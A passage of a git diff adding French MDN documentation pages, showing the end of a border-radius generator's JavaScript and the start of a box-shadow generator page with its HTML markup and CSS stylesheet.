+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY && this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size < 0)	this.size = 0;
+			if (this.size > this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width < 0)	this.width = 0;
+			if (this.width > this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height < 0) this.height = 0;
+			if (this.height > this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +

{{EmbedLiveSample('border-radius-generator', '100%', '800px', '')}}

diff --git a/files/fr/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/fr/web/css/css_background_and_borders/box-shadow_generator/index.html new file mode 100644 index 0000000000..77f236ac13 --- /dev/null +++ b/files/fr/web/css/css_background_and_borders/box-shadow_generator/index.html @@ -0,0 +1,2887 @@ +--- +title: Générateur de box-shadow +slug: Web/CSS/Modèle_de_boîte_CSS/Générateur_box-shadow +tags: + - CSS + - Outil +translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +--- +

Cet outil visuel permet de construire des effets d'ombre et de générer du code pour la propriété {{cssxref("box-shadow")}} qui pourra être ajouté à votre feuille de style.

+ +
+

box-shadow generator

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="layer_manager">
+            <div class="group section">
+                <div class="button" data-type="add"> </div>
+                <div class="button" data-type="move-up"> </div>
+                <div class="button" data-type="move-down"> </div>
+            </div>
+            <div id="stack_container"></div>
+        </div>
+
+        <div id="preview_zone">
+            <div id="layer_menu" class="col span_12">
+                <div class="button" id="element" data-type="subject" data-title="element"> element </div>
+                <div class="button" id="before" data-type="subject" data-title=":before">
+                    :before
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="button" id="after" data-type="subject" data-title=":after">
+                    :after
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
+                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
+            </div>
+
+            <div id="preview">
+                <div id="obj-element">
+                    <div class="content"> </div>
+                    <div id="obj-before"> </div>
+                    <div id="obj-after"> </div>
+                </div>
+            </div>
+        </div>
+    </div>
+
+    <div id="controls" class="group section">
+        <div class="wrap-left">
+            <div class="colorpicker category">
+                <div class="title"> </div>
+                <div id="colorpicker" class="group">
+                    <div id="gradient" class="gradient">
+                        <div id="gradient_picker"> </div>
+                    </div>
+                    <div id="hue" data-topic="hue" class="hue">
+                        <div id="hue_selector"> </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
+                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
+                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
+                    </div>
+                    <div class="alpha">
+                        <div id="alpha" data-topic="alpha">
+                            <div id="alpha_selector"> </div>
+                        </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
+                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
+                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
+                    </div>
+                    <div class="preview block">
+                        <div id="output_color"> </div>
+                    </div>
+                    <div class="block info">
+                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
+                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+        <div class="wrap-right">
+
+            <div id="shadow_properties" class="category">
+                <div class="title"> Propriétés d'ombre </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> inset </div>
+                        <div class="ui-checkbox" data-topic='inset'></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position x </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position y </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Blur </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Spread </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="element_properties" class="category">
+                <div class="title"> Propriétés d'ombre </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> border </div>
+                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
+                    </div>
+                    <div id="z-index" class="slidergroup">
+                        <div class="ui-slider-name"> z-index </div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"></div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="z-index"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> top </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> left </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
+                    </div>
+                    <div id="transform_rotate" class="slidergroup">
+                        <div class="ui-slider-name"> Rotate </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Width </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Height </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="output" class="category">
+                <div id="menu" class="menu"></div>
+                <div class="title">    Code CSS </div>
+                <div class="group" style="border-top-left-radius: 0;">
+                    <div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow">
+                    </div>
+                    <div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                    <div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input > input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox > label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox > input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left > * {
+	float: left;
+}
+
+.wrap-right > * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
